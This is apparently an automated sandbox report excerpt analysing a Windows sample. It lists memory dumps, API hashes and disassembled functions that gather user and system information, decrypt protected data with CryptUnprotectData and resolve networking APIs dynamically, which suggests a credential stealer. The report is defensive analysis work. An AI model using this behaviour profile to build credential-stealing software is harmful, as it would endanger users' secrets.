Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 67bad8e6f572d7fac273846093b353dfe2c3c7d971eb1155fe50c91cc3b413bb
Instruction ID: b865431397730caa034d8314d69d1496db0dabd2c9e225fb7dd327c7a552668a
Opcode Fuzzy Hash: 67bad8e6f572d7fac273846093b353dfe2c3c7d971eb1155fe50c91cc3b413bb
Instruction Fuzzy Hash: 14010C75A00208BBCB15EFA5DD58FEDBBF8FB48300F148298A905A6240EB349B40DF51

Function 00587A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0130E1D8,00000000,?,00590E10,00000000,?,00000000,00000000), ref: 00587A63
RtlAllocateHeap.NTDLL(00000000), ref: 00587A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0130E1D8,00000000,?,00590E10,00000000,?,00000000,00000000,?), ref: 00587A7D
wsprintfA.USER32 ref: 00587AB7

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 9ea0f9ed461b443b768f35251c12fd232c7b6e35e8b1d08e6f9f0b4f244a59c8
Instruction ID: 937d07d5899ec065d79f8d05e7712b63ab5a9337726a06ec1836164895da1b1b
Opcode Fuzzy Hash: 9ea0f9ed461b443b768f35251c12fd232c7b6e35e8b1d08e6f9f0b4f244a59c8
Instruction Fuzzy Hash: AF1182B1945218EBDB109B54DC45F69BB78FB04711F104795E91AA32C0D7785A40CF51

Function 00579B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00579B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00579BA3
LocalFree.KERNEL32(?), ref: 00579BD3

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 029f6fe8d56b369b9b1eccf61987379b509f59f695b563b10b4e02edb8d9a5c7
Instruction ID: a29ea06410b9cad38306a40138c95011363e4deea86513c9bfb68ccbb4c35719
Opcode Fuzzy Hash: 029f6fe8d56b369b9b1eccf61987379b509f59f695b563b10b4e02edb8d9a5c7
Instruction Fuzzy Hash: 8211C9B8A00209EFDB04DF94D995EAEB7B5FF89300F108598E919A7350D774AE10CFA1

Function 00587850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005711B7), ref: 00587880
RtlAllocateHeap.NTDLL(00000000), ref: 00587887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0058789F

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 7235c1663e51fd44b982c16f7b95b8aa9895c7a4e6f98bdc330dc70be212d9e8
Instruction ID: 34d1eeaa510cf8b889128020aec0dc8d718e1962a22451f364b9a0879638f01b
Opcode Fuzzy Hash: 7235c1663e51fd44b982c16f7b95b8aa9895c7a4e6f98bdc330dc70be212d9e8
Instruction Fuzzy Hash: BEF04FB1944208ABCB00EF98DD49FAEBBB8FB08711F10465AFA05A2680C77855048BA1

Function 00571160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0057116A
ExitProcess.KERNEL32 ref: 0057117E

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8347df437d84192e70bbebedeb1dc0842fc13a52941624a0372d0c21251ed081
Instruction ID: ad5dfd02567b550cd036f5c61c1e98c814e76bebe891f2676437ac54c161cc6d
Opcode Fuzzy Hash: 8347df437d84192e70bbebedeb1dc0842fc13a52941624a0372d0c21251ed081
Instruction Fuzzy Hash: A1D05E7490430CEBCB00EFE0D849ADDBB78FB08321F004694D90562340EE315481CAAA

Function 00589C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,012F4020), ref: 00589C2D
GetProcAddress.KERNEL32(74DD0000,012F4060), ref: 00589C45
GetProcAddress.KERNEL32(74DD0000,0130A1A0), ref: 00589C5E
GetProcAddress.KERNEL32(74DD0000,0130A080), ref: 00589C76
GetProcAddress.KERNEL32(74DD0000,0130A098), ref: 00589C8E
GetProcAddress.KERNEL32(74DD0000,0130A050), ref: 00589CA7
GetProcAddress.KERNEL32(74DD0000,012FBA50), ref: 00589CBF
GetProcAddress.KERNEL32(74DD0000,0130A068), ref: 00589CD7
GetProcAddress.KERNEL32(74DD0000,0130A170), ref: 00589CF0
GetProcAddress.KERNEL32(74DD0000,0130A008), ref: 00589D08
GetProcAddress.KERNEL32(74DD0000,0130A188), ref: 00589D20
GetProcAddress.KERNEL32(74DD0000,012F3CE0), ref: 00589D39
GetProcAddress.KERNEL32(74DD0000,012F3CA0), ref: 00589D51
GetProcAddress.KERNEL32(74DD0000,012F3CC0), ref: 00589D69
GetProcAddress.KERNEL32(74DD0000,012F3D20), ref: 00589D82
GetProcAddress.KERNEL32(74DD0000,0130A1B8), ref: 00589D9A
GetProcAddress.KERNEL32(74DD0000,0130A110), ref: 00589DB2
GetProcAddress.KERNEL32(74DD0000,012FB8C0), ref: 00589DCB
GetProcAddress.KERNEL32(74DD0000,012F3E60), ref: 00589DE3
GetProcAddress.KERNEL32(74DD0000,0130A0C8), ref: 00589DFB
GetProcAddress.KERNEL32(74DD0000,0130A020), ref: 00589E14
GetProcAddress.KERNEL32(74DD0000,0130A0E0), ref: 00589E2C
GetProcAddress.KERNEL32(74DD0000,0130A0F8), ref: 00589E44
GetProcAddress.KERNEL32(74DD0000,012F3EA0), ref: 00589E5D
GetProcAddress.KERNEL32(74DD0000,0130A140), ref: 00589E75
GetProcAddress.KERNEL32(74DD0000,0130A2E8), ref: 00589E8D
GetProcAddress.KERNEL32(74DD0000,0130A258), ref: 00589EA6
GetProcAddress.KERNEL32(74DD0000,0130A288), ref: 00589EBE
GetProcAddress.KERNEL32(74DD0000,0130A2B8), ref: 00589ED6
GetProcAddress.KERNEL32(74DD0000,0130A3A8), ref: 00589EEF
GetProcAddress.KERNEL32(74DD0000,0130A3C0), ref: 00589F07
GetProcAddress.KERNEL32(74DD0000,0130A270), ref: 00589F1F
GetProcAddress.KERNEL32(74DD0000,0130A1F8), ref: 00589F38
GetProcAddress.KERNEL32(74DD0000,0130AAC0), ref: 00589F50
GetProcAddress.KERNEL32(74DD0000,0130A360), ref: 00589F68
GetProcAddress.KERNEL32(74DD0000,0130A378), ref: 00589F81
GetProcAddress.KERNEL32(74DD0000,012F3F40), ref: 00589F99
GetProcAddress.KERNEL32(74DD0000,0130A210), ref: 00589FB1
GetProcAddress.KERNEL32(74DD0000,012F3F60), ref: 00589FCA
GetProcAddress.KERNEL32(74DD0000,0130A228), ref: 00589FE2
GetProcAddress.KERNEL32(74DD0000,0130A240), ref: 00589FFA
GetProcAddress.KERNEL32(74DD0000,012EADA0), ref: 0058A013
GetProcAddress.KERNEL32(74DD0000,0130D608), ref: 0058A02B
LoadLibraryA.KERNEL32(0130A348,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A03D
LoadLibraryA.KERNEL32(0130A2A0,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A04E
LoadLibraryA.KERNEL32(0130A2D0,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A060
LoadLibraryA.KERNEL32(0130A390,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A072
LoadLibraryA.KERNEL32(0130A300,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A083
LoadLibraryA.KERNEL32(0130A318,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A095
LoadLibraryA.KERNEL32(0130A330,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A0A7
LoadLibraryA.KERNEL32(0130DBF8,?,00585CA3,00590AEB,?,?,?,?,?,?,?,?,?,?,00590AEA,00590AE3), ref: 0058A0B8
GetProcAddress.KERNEL32(75290000,0130D548), ref: 0058A0DA
GetProcAddress.KERNEL32(75290000,0130DBB0), ref: 0058A0F2
GetProcAddress.KERNEL32(75290000,01309180), ref: 0058A10A
GetProcAddress.KERNEL32(75290000,0130DCA0), ref: 0058A123
GetProcAddress.KERNEL32(75290000,0130D648), ref: 0058A13B
GetProcAddress.KERNEL32(6FD60000,012FBBB8), ref: 0058A160
GetProcAddress.KERNEL32(6FD60000,0130D668), ref: 0058A179
GetProcAddress.KERNEL32(6FD60000,012FBA78), ref: 0058A191
GetProcAddress.KERNEL32(6FD60000,0130DB38), ref: 0058A1A9
GetProcAddress.KERNEL32(6FD60000,0130DB50), ref: 0058A1C2
GetProcAddress.KERNEL32(6FD60000,0130D688), ref: 0058A1DA
GetProcAddress.KERNEL32(6FD60000,0130D6E8), ref: 0058A1F2
GetProcAddress.KERNEL32(6FD60000,0130DC88), ref: 0058A20B
GetProcAddress.KERNEL32(752C0000,0130D4E8), ref: 0058A22C
GetProcAddress.KERNEL32(752C0000,0130D308), ref: 0058A244
GetProcAddress.KERNEL32(752C0000,0130DC10), ref: 0058A25D
GetProcAddress.KERNEL32(752C0000,0130DB68), ref: 0058A275
GetProcAddress.KERNEL32(752C0000,0130D328), ref: 0058A28D
GetProcAddress.KERNEL32(74EC0000,012FB780), ref: 0058A2B3
GetProcAddress.KERNEL32(74EC0000,012FBB68), ref: 0058A2CB
GetProcAddress.KERNEL32(74EC0000,0130DB80), ref: 0058A2E3
GetProcAddress.KERNEL32(74EC0000,0130D428), ref: 0058A2FC
GetProcAddress.KERNEL32(74EC0000,0130D628), ref: 0058A314
GetProcAddress.KERNEL32(74EC0000,012FB988), ref: 0058A32C
GetProcAddress.KERNEL32(75BD0000,0130DB98), ref: 0058A352
GetProcAddress.KERNEL32(75BD0000,0130D5C8), ref: 0058A36A
GetProcAddress.KERNEL32(75BD0000,01309270), ref: 0058A382
GetProcAddress.KERNEL32(75BD0000,0130DC28), ref: 0058A39B
GetProcAddress.KERNEL32(75BD0000,0130DC40), ref: 0058A3B3
GetProcAddress.KERNEL32(75BD0000,0130D368), ref: 0058A3CB
GetProcAddress.KERNEL32(75BD0000,0130D5E8), ref: 0058A3E4
GetProcAddress.KERNEL32(75BD0000,0130DBC8), ref: 0058A3FC
GetProcAddress.KERNEL32(75BD0000,0130DC58), ref: 0058A414
GetProcAddress.KERNEL32(75A70000,0130D348), ref: 0058A436
GetProcAddress.KERNEL32(75A70000,0130DBE0), ref: 0058A44E
GetProcAddress.KERNEL32(75A70000,0130DCB8), ref: 0058A466
GetProcAddress.KERNEL32(75A70000,0130DC70), ref: 0058A47F
GetProcAddress.KERNEL32(75A70000,0130DCD0), ref: 0058A497
GetProcAddress.KERNEL32(75450000,0130D6A8), ref: 0058A4B8
GetProcAddress.KERNEL32(75450000,0130D3A8), ref: 0058A4D1
GetProcAddress.KERNEL32(75DA0000,0130D3C8), ref: 0058A4F2
GetProcAddress.KERNEL32(75DA0000,0130DB08), ref: 0058A50A
GetProcAddress.KERNEL32(6F070000,0130D6C8), ref: 0058A530
GetProcAddress.KERNEL32(6F070000,0130D448), ref: 0058A548
GetProcAddress.KERNEL32(6F070000,0130D388), ref: 0058A560
GetProcAddress.KERNEL32(6F070000,0130DB20), ref: 0058A579
GetProcAddress.KERNEL32(6F070000,0130D488), ref: 0058A591
GetProcAddress.KERNEL32(6F070000,0130D568), ref: 0058A5A9
GetProcAddress.KERNEL32(6F070000,0130D468), ref: 0058A5C2
GetProcAddress.KERNEL32(6F070000,0130D3E8), ref: 0058A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0058A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0058A607
GetProcAddress.KERNEL32(75AF0000,0130DE48), ref: 0058A629
GetProcAddress.KERNEL32(75AF0000,01309340), ref: 0058A641
GetProcAddress.KERNEL32(75AF0000,0130DEC0), ref: 0058A659
GetProcAddress.KERNEL32(75AF0000,0130DE78), ref: 0058A672
GetProcAddress.KERNEL32(75D90000,0130D588), ref: 0058A693
GetProcAddress.KERNEL32(6CFD0000,0130DED8), ref: 0058A6B4
GetProcAddress.KERNEL32(6CFD0000,0130D408), ref: 0058A6CD
GetProcAddress.KERNEL32(6CFD0000,0130DD28), ref: 0058A6E5
GetProcAddress.KERNEL32(6CFD0000,0130DE18), ref: 0058A6FD

Strings

InternetSetOptionA, xrefs: 0058A5E5
HttpQueryInfoA, xrefs: 0058A5FC

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 6696b617e5a99bc369b80508861f292b92800a28c673a4cfb606d3a42ebadf23
Instruction ID: 8827462ad7c3ec83c7971fc430f846ada33704b3145a377a4ce97d8d5b63e41c
Opcode Fuzzy Hash: 6696b617e5a99bc369b80508861f292b92800a28c673a4cfb606d3a42ebadf23
Instruction Fuzzy Hash: 43622CB5508240BFC755FFA8ED88F563BF9F79C201724C71AA609C3664DA3E9841CB1A

Function 00577710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00577724
RtlAllocateHeap.NTDLL(00000000), ref: 0057772B
lstrcat.KERNEL32(?,0130E568), ref: 005778DB
lstrcat.KERNEL32(?,?), ref: 005778EF
lstrcat.KERNEL32(?,?), ref: 00577903
lstrcat.KERNEL32(?,?), ref: 00577917
lstrcat.KERNEL32(?,0130E4F0), ref: 0057792B
lstrcat.KERNEL32(?,0130E508), ref: 0057793F
lstrcat.KERNEL32(?,0130E520), ref: 00577952
lstrcat.KERNEL32(?,0130E490), ref: 00577966
lstrcat.KERNEL32(?,0130E5F0), ref: 0057797A
lstrcat.KERNEL32(?,?), ref: 0057798E
lstrcat.KERNEL32(?,?), ref: 005779A2
lstrcat.KERNEL32(?,?), ref: 005779B6
lstrcat.KERNEL32(?,0130E4F0), ref: 005779C9
lstrcat.KERNEL32(?,0130E508), ref: 005779DD
lstrcat.KERNEL32(?,0130E520), ref: 005779F1
lstrcat.KERNEL32(?,0130E490), ref: 00577A04
lstrcat.KERNEL32(?,0130E658), ref: 00577A18
lstrcat.KERNEL32(?,?), ref: 00577A2C
lstrcat.KERNEL32(?,?), ref: 00577A40
lstrcat.KERNEL32(?,?), ref: 00577A54
lstrcat.KERNEL32(?,0130E4F0), ref: 00577A68
